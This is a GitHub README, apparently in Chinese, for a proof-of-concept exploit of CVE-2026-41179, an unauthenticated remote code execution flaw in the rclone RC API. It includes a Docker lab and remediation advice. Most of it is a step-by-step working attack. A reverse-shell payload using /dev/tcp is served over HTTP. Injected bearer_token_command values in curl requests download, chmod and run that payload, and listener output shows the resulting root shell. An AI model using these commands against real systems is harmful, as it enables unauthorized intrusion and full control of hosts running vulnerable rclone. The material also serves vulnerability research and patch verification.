pssec-io/CVE-2026-41179
GitHub: pssec-io/CVE-2026-41179
针对 rclone RC API 未授权 RCE 漏洞(CVE-2026-41179)的概念验证项目,提供完整的 Docker 漏洞复现环境和分步利用指南。
Stars: 0 | Forks: 0
# CVE-2026-41179 — rclone RC API 未授权 RCE
## 概述
**CVE-2026-41179** 是 rclone 内置 Remote Control (RC) API 中的一个严重的未授权远程代码执行 (RCE) 漏洞,影响版本 **1.48.0 到 1.73.4**。
| 详情 | 值 |
|---|---|
| **CVE** | CVE-2026-41179 |
| **CVSS Score** | 9.8 (严重) |
| **受影响版本** | rclone 1.48.0 – 1.73.4 |
| **修复版本** | rclone 1.73.5 |
| **组件** | RC API (`/operations/fsinfo` endpoint) |
| **攻击向量** | 网络 — 无需身份验证 |
### 漏洞原理
rclone 自带一个内置的 HTTP 远程控制接口 (`rcd`)。`/operations/fsinfo` endpoint 接受用户提供的 `fs=` 字符串,该字符串会被解析并用于实例化一个 backend —— 包括 WebDAV backend。WebDAV backend 支持一个 `bearer_token_command` 参数,该参数被直接传递给 `exec.Command()` 而未经过滤。由于默认情况下该 endpoint 不需要任何身份验证,未经授权的攻击者可以以 rclone 进程用户的身份触发任意的操作系统命令执行。
**攻击链简述:**
```
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
```
## 仓库结构
```
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
```
## 实验环境搭建与利用 (分步指南)
### 前置条件
- Docker
- 一个监听器:[penelope](https://github.com/brightio/penelope) 或 `netcat`
- Python 3 (用于提供 payload 服务)
### 第 1 步 — 构建易受攻击的 Docker 镜像
```
docker build -t rclone-vuln -f Dockerfile.rclone .
```
构建一个基于 Debian-slim 的容器,运行 **rclone v1.69.3**,并在端口 `5572` 上暴露 RC API。
### 第 2 步 — 运行易受攻击的容器
```
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
```
现在可以通过 `http://127.0.0.1:5572` 在未经授权的情况下访问 RC API。
### 第 3 步 — 启动监听器
```
penelope -p 5555
# 或
nc -lvnp 5555
```
### 第 4 步 — 配置 Reverse Shell Payload
编辑 `poc.sh` 并设置你的攻击者 IP 和监听端口:
```
#!/bin/bash
bash -i >& /dev/tcp// 0>&1
```
### 第 5 步 — 通过 HTTP 提供 Payload
在 `poc.sh` 所在的目录下运行此命令:
```
python3 -m http.server 8888
```
### 第 6 步 — 将 Payload 下载到目标机器
```
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://:8888/poc.sh':'
```
### 第 7 步 — 赋予 Payload 可执行权限
```
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
```
### 第 8 步 — 执行 Payload
```
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
```
### 第 9 步 — 获取 Shell
检查你的监听器 —— 你应该会接收到来自容器的 root shell:
```
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
```
### 第 10 步 — 验证补丁
使用**修复后的镜像**重复第 1–8 步,以确认漏洞已被修复:
```
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
```
向端口 `5573` 发送相同的 `curl` 请求 —— 命令应该不会被执行。
## 修复建议
- **将 rclone 升级到 v1.73.5 或更高版本** —— 默认情况下现在会对所有 RC endpoint 强制执行身份验证。
- 如果你无法立即升级,请在启动 `rcd` 时带上 `--rc-user` 和 `--rc-pass` 参数以要求提供凭据。
- 通过防火墙规则限制对 RC 端口 (`5572`) 的网络访问 —— 切勿将其暴露给不受信任的网络。
- 考虑在启动脚本中显式使用 `--rc-no-auth=false`(这是修复版本中的新默认值)。
## 免责声明
本仓库**仅供教育和经授权的安全研究目的使用**。此概念验证代码在一个受控的 Docker 实验室环境中演示了一个真实的漏洞。
**PSSec 及所有贡献者:**
- **不**授权或鼓励未经系统所有者明确书面许可对系统进行利用。
- 对因使用本材料而造成的任何损害、数据丢失、法律后果或滥用**不**承担任何责任。
- 建议所有测试**仅在您拥有或获得明确测试授权的独立实验环境中**进行。
将此代码用于生产系统或不属于您的系统,可能会违反您所在司法管辖区的计算机欺诈和网络犯罪法律。
*CVE-2026-41179 — 由 PSSec 研究*
标签:CISA项目, Docker, PoC, RCE, 安全防御评估, 应用安全, 暴力破解, 请求拦截, 逆向工具